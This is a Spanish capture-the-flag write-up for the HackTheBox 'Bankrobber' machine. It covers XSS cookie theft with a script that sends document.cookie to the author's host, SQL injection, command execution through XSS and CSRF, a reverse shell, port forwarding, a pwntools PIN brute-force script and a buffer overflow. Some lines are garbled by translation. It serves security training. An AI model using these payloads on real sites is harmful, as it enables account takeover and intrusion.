Sigo publicando soluciones enviadas para su posterior procesamiento desde el sitio de HackTheBox . Espero que esto ayude al menos a alguien a desarrollarse en el campo de la seguridad de la información. En este artículo, robaremos las cookies del administrador del sitio a través de XSS, descubriremos el código mediante inyección SQL, obtenemos el shell a través del formulario de ejecución de comandos usando XSS y CSRF, sacaremos el puerto de Windows y giraremos el PIN de la aplicación de transferencia de dinero fácil usando pwntools.La conexión al laboratorio es a través de VPN. Se recomienda no conectarse desde una computadora del trabajo o desde un host donde los datos importantes para usted estén disponibles, ya que termina en una red privada con personas que saben algo en el campo de la seguridad de la información :)Información organizacionalEspecialmente para aquellos que desean aprender algo nuevo y desarrollarse en cualquiera de las áreas de información y seguridad informática, escribiré y hablaré sobre las siguientes categorías:- PWN;
- criptografía (criptografía);
- tecnologías de red (Red);
- inversa (ingeniería inversa);
- esteganografía (Stegano);
- WEB-.
, , , .
, ,
Telegram . , ,
.
. , - , .
Recon
Esta máquina tiene una dirección IP 10.10.10.154, que agrego a / etc / hosts.10.10.10.154 bankrobber.htb
Primero, escaneamos puertos abiertos. Como lleva mucho tiempo escanear todos los puertos con nmap, primero haré esto con masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a una velocidad de 500 paquetes por segundo.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.154 --rate=500
Ahora, para obtener información más detallada sobre los servicios que operan en los puertos, realizaremos un análisis con la opción -A.nmap -A bankrobber.htb -p80,443,445,3306
El host tiene un servidor web y SMB, y MySQL también está disponible. SMB y MySQL no nos dan nada, así que mira la web.
El sitio web de Bitcoin se presenta donde podemos registrarnos.
Registremos e inicie sesión. Se nos proporciona un formulario para transferir fondos.
Después de completar una solicitud de prueba simple, recibimos un mensaje. Dice que el Administrador considerará nuestra solicitud de transacción y tomará una decisión.
Este es un gran indicio de XSS. Intentemos robar la cookie de administrador. Primero, implemente el servidor HTTP local.
Ahora ejecutamos la solicitud de transacción, especificando la siguiente carga JS como mensaje.<script>new Image().src="http://10.10.15.106/xss?param="%2bdocument.cookie;</script>
Por lo tanto, al intentar cargar una imagen, el script irá a esta dirección y, como parámetro, nos enviará cookies de la cuenta en la que se ejecutó el script (en este caso, el administrador).
Parece base64. Decodificamos y obtenemos el nombre de usuario y la contraseña del administrador.
Inicie sesión como administrador y vea las novedades para nosotros. Al enviar una cotización en el campo de búsqueda del usuario, obtenemos un error: hay una inyección.
Otro servidor solicita el comando dir.
Pero solo localhost responde.
Volvamos a la inyección SQL.
Determinamos el número de columnas y cuáles de ellas se muestran.
Por lo tanto, se muestran las columnas primera y segunda.USUARIO
Después de sentarnos un poco, no encontramos nada interesante. Pasemos al módulo backdoorchecker. Encuentre un evento que responda a un clic de botón.
Vaya a la consola del navegador e ingrese el nombre de la función.
Seguimos el enlace a la función.
Y encontramos a dónde va la solicitud. Gracias a la inyección, podemos leer el archivo (la primera vez que adiviné la ruta xampp predeterminada).
Por lo tanto, el comando se ejecutará si la subcadena "dir" está presente en la línea. Esto nos permite enviar una cadena de comandos. Queda por tratar con uno, la solicitud debe venir de localhost. Recordamos XSS y la función callSys (), a la que podemos llamar para enviar una solicitud. Comprueba nuestra suposición.
Como el comando está completo, ejecutemos RCE usando el script Invoke-PowerShellTcp del paquetenishang .
RAÍZ
En primer lugar, llevamos a cabo la enumeración básica del sistema. Para esto utilizamos winPEAS .
De todos los resultados, nos aferramos al puerto abierto en localhost 910.
Veamos qué hay en él. Primero debes lanzar el puerto. Entre todos los programas, la solución más conveniente es el cincel . Ejecutar en host local y hosts remotos.
Ahora conéctese y vea qué hay allí.
Se requiere un código PIN de 4 dígitos. Lo solucionaremos.
def clear():
sys.stdout.write("\033[F")
sys.stdout.write("\033[K")
from pwn import *
for numb in range(10000):
PIN = str(numb).rjust(4, '0')
r = remote('127.0.0.1', 910)
print("Find PIN: " + PIN, end="\r")
clear()
r.sendafter('[$] ', PIN+"\n")
ans = r.recv()
if b"Access denied" in ans:
r.close()
clear()
else:
print("[+] PIN found: " + PIN)
print(str(ans, "utf-8"))
break
r.interactive()
Encontramos el código PIN y se nos pide que ingresemos el monto de la transacción. Hacemos esto y no pasa nada.
La cantidad se transfiere a un programa que se ejecuta como administrador. Al no encontrar nada más, transferimos como suma una cadena de 100 caracteres.
Y vemos cómo la línea de lanzamiento del programa ha cambiado a parte de nuestra línea. Veamos desde qué índice sucedió esto.
Por lo tanto, si pasamos una línea con el nombre de otro programa, se ejecutará. Vamos a revisar.

Y la suposición es cierta. Para comenzar, descargue netcat.
Y ahora hagamos la conexión posterior.
Obtención de privilegios del SISTEMA.Puedes unirte a nosotros en Telegram. Formemos una comunidad en la que haya personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.